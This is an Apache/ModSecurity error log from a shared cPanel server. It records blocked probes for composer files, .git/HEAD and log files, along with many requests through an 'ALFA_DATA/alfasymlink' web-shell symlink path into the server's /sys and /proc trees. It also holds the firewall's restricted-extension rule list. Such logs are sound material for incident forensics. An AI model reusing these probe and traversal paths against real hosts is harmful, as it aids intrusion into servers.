[Tue Oct 27 15:02:27.810619 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/composer.lock"] [unique_id "auD1Q5L9vYPqDjnqklkb_QAAAAc"]
[Tue Oct 27 15:02:27.811350 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb_QAAAAc"]
[Tue Oct 27 15:02:27.965620 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/composer.json"] [unique_id "auD1Q5L9vYPqDjnqklkb_wAAAAc"]
[Tue Oct 27 15:02:27.965901 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/composer.json"] [unique_id "auD1Q5L9vYPqDjnqklkb_wAAAAc"]
[Tue Oct 27 15:02:27.966748 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1Q5L9vYPqDjnqklkb_wAAAAc"]
[Tue Oct 27 15:02:28.043323 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/HEAD"] [unique_id "auD1RJL9vYPqDjnqklkcAAAAAAc"]
[Tue Oct 27 15:02:28.043529 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/HEAD"] [unique_id "auD1RJL9vYPqDjnqklkcAAAAAAc"]
[Tue Oct 27 15:02:28.044274 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1RJL9vYPqDjnqklkcAAAAAAc"]
[Tue Oct 27 15:02:28.353623 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/var/log/dev.log"] [unique_id "auD1RJL9vYPqDjnqklkcBAAAAAc"]
[Tue Oct 27 15:02:28.353950 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/var/log/dev.log"] [unique_id "auD1RJL9vYPqDjnqklkcBAAAAAc"]
[Tue Oct 27 15:02:28.354696 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1RJL9vYPqDjnqklkcBAAAAAc"]
[Tue Oct 27 15:02:28.431283 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/var/log/prod.log"] [unique_id "auD1RJL9vYPqDjnqklkcBQAAAAc"]
[Tue Oct 27 15:02:28.431599 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/var/log/prod.log"] [unique_id "auD1RJL9vYPqDjnqklkcBQAAAAc"]
[Tue Oct 27 15:02:28.432477 2026] [security2:error] [pid 3285164:tid 3285164] [client 195.178.110.137:20478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auD1RJL9vYPqDjnqklkcBQAAAAc"]
[Tue Oct 27 15:02:31.783265 2026] [ssl:error] [pid 3286082:tid 3286082] (70014)End of file found: [client 34.227.234.246:50851] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:36.362128 2026] [ssl:error] [pid 3283068:tid 3283068] (5)Input/output error: [client 44.194.134.53:30732] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:48.169901 2026] [ssl:error] [pid 3286082:tid 3286082] (70014)End of file found: [client 100.24.167.60:12357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:51.744254 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 54.225.148.123:43488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:55.838945 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 3.232.39.98:41623] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:02:59.895415 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 52.45.92.83:4891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:03.914437 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 107.20.25.33:43619] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:07.983770 2026] [ssl:error] [pid 3286082:tid 3286082] (70014)End of file found: [client 3.235.215.92:37916] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:11.984762 2026] [core:error] [pid 3284002:tid 3284002] (13)Permission denied: [client 50.16.216.166:33504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:05.0/rescan
[Tue Oct 27 15:03:24.171124 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 54.159.18.27:32062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:28.386020 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 54.90.8.255:53520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:35.768539 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 3.213.213.161:50523] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:36.170248 2026] [core:error] [pid 3284002:tid 3284002] (13)Permission denied: [client 85.208.96.206:54916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/firmware/qemu_fw_cfg/by_key/33/raw
[Tue Oct 27 15:03:36.458504 2026] [authz_core:error] [pid 3283068:tid 3283068] [client 195.178.110.50:50278] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 15:03:40.765406 2026] [core:error] [pid 3282923:tid 3282923] (13)Permission denied: [client 177.44.9.179:48568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/poison
[Tue Oct 27 15:03:40.765880 2026] [security2:error] [pid 3282923:tid 3282923] [client 177.44.9.179:48568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/poison"] [unique_id "auD1jLWO6u2k69e2sIx6pQAAABU"]
[Tue Oct 27 15:03:40.765908 2026] [security2:error] [pid 3282923:tid 3282923] [client 177.44.9.179:48568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/poison"] [unique_id "auD1jLWO6u2k69e2sIx6pQAAABU"]
[Tue Oct 27 15:03:42.592267 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 123.16.157.243:52256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/poison
[Tue Oct 27 15:03:44.500681 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 190.55.123.209:34800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/poison
[Tue Oct 27 15:03:47.396268 2026] [security2:error] [pid 3283128:tid 3283128] [client 107.172.76.131:61970] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD1h_bEfHfX8-Sda3zv4gAAACQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 15:03:47.396337 2026] [security2:error] [pid 3283128:tid 3283128] [client 107.172.76.131:61970] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD1h_bEfHfX8-Sda3zv4gAAACQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 15:03:52.326147 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 52.21.62.139:63351] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:03:59.786706 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.226.89.140:44549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:03.823206 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 184.73.195.18:24471] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:07.905950 2026] [ssl:error] [pid 3265870:tid 3265870] (5)Input/output error: [client 52.70.123.241:55311] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:11.691911 2026] [core:error] [pid 3284002:tid 3284002] (13)Permission denied: [client 185.191.171.6:47026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/cpu_partial
[Tue Oct 27 15:04:19.793140 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 44.220.2.97:54033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:38.978742 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 185.191.171.17:45520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:39.803133 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 100.29.34.97:43681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:44.051569 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 52.3.26.180:24142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/subsystem/devices/memory11/node0/cpu0/crash_notes
[Tue Oct 27 15:04:47.867532 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 52.6.97.88:36913] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:04:56.275947 2026] [ssl:error] [pid 3283147:tid 3283147] (70014)End of file found: [client 34.225.87.80:3786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:07.789080 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 52.70.123.241:25534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:19.934663 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 52.71.216.196:32719] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:23.785842 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 100.28.118.16:27023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:28.032657 2026] [core:error] [pid 3286082:tid 3286082] (13)Permission denied: [client 3.208.156.9:48033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input4/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/firmware_node/physical_node1/drvctl
[Tue Oct 27 15:05:31.739261 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 3.213.106.226:53824] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:39.828454 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.202.52.82:10648] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:48.138338 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 34.206.212.24:39008] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:05:59.971948 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 54.84.147.79:10698] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:06:07.482940 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 185.191.171.19:22328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/xhci_hcd/uevent
[Tue Oct 27 15:06:07.883452 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 52.203.68.145:9999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:06:16.235607 2026] [ssl:error] [pid 3285164:tid 3285164] (70014)End of file found: [client 3.229.164.203:29694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:06:27.765181 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 34.224.9.144:2641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:06:39.632549 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 200.4.100.157:34979] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/validate
[Tue Oct 27 15:06:41.825737 2026] [core:error] [pid 3285165:tid 3285165] (13)Permission denied: [client 201.157.214.246:50887] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/validate
[Tue Oct 27 15:06:43.805347 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 38.45.249.126:50488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/validate
[Tue Oct 27 15:06:48.983945 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 3.93.253.174:30149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/remove_id
[Tue Oct 27 15:06:55.595544 2026] [security2:error] [pid 3283145:tid 3283145] [client 107.172.76.131:61967] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD2Q-wIbwFXMPq1NkPMzQAAABw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 15:06:55.595580 2026] [security2:error] [pid 3283145:tid 3283145] [client 107.172.76.131:61967] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auD2Q-wIbwFXMPq1NkPMzQAAABw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 15:06:59.912883 2026] [security2:error] [pid 3286132:tid 3286132] [client 16.216.88.180:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/err.inc"] [unique_id "auD2UwAT9p14jz-4VF2fSQAAAAk"]
[Tue Oct 27 15:06:59.913353 2026] [security2:error] [pid 3286132:tid 3286132] [client 16.216.88.180:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/err.inc"] [unique_id "auD2UwAT9p14jz-4VF2fSQAAAAk"]
[Tue Oct 27 15:06:59.930458 2026] [security2:error] [pid 3286132:tid 3286132] [client 16.216.88.180:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/err.inc"] [unique_id "auD2UwAT9p14jz-4VF2fSQAAAAk"]
[Tue Oct 27 15:07:27.940821 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 44.212.232.231:56896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:07:31.708484 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 3.90.73.206:30291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:07:48.092709 2026] [core:error] [pid 3286132:tid 3286132] (13)Permission denied: [client 3.221.50.71:3228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/node0/memory1/subsystem/drivers_probe
[Tue Oct 27 15:07:59.832075 2026] [ssl:error] [pid 3285164:tid 3285164] (70014)End of file found: [client 3.94.157.25:17562] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:04.112356 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 54.166.104.83:23172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:11.886844 2026] [ssl:error] [pid 3286132:tid 3286132] (5)Input/output error: [client 3.93.211.16:18439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:15.973352 2026] [ssl:error] [pid 3285080:tid 3285080] (70014)End of file found: [client 3.229.2.217:45116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:24.011323 2026] [ssl:error] [pid 3285164:tid 3285164] (70014)End of file found: [client 52.202.233.37:35003] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:47.936179 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 52.71.203.206:29028] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:51.768575 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 44.213.202.136:43286] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:08:52.153953 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.244.66.250:44806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/src/cdp/NetworkEventManager.ts"] [unique_id "auD2xBPIAz20_HBUJWdZjgAAAAw"]
[Tue Oct 27 15:08:52.154001 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.244.66.250:44806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/src/cdp/NetworkEventManager.ts"] [unique_id "auD2xBPIAz20_HBUJWdZjgAAAAw"]
[Tue Oct 27 15:09:08.232024 2026] [authz_core:error] [pid 3274606:tid 3274606] [client 45.198.224.125:54822] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 15:09:27.858152 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 100.28.49.152:43135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:09:31.885147 2026] [ssl:error] [pid 3285080:tid 3285080] (70014)End of file found: [client 54.159.98.248:15987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:09:39.844437 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.203.111.15:50890] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:09:43.956513 2026] [ssl:error] [pid 3284002:tid 3284002] (70014)End of file found: [client 34.224.132.215:61486] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:09:47.108262 2026] [core:crit] [pid 3285080:tid 3285080] (13)Permission denied: [client 216.244.66.250:49392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fd/' is executable
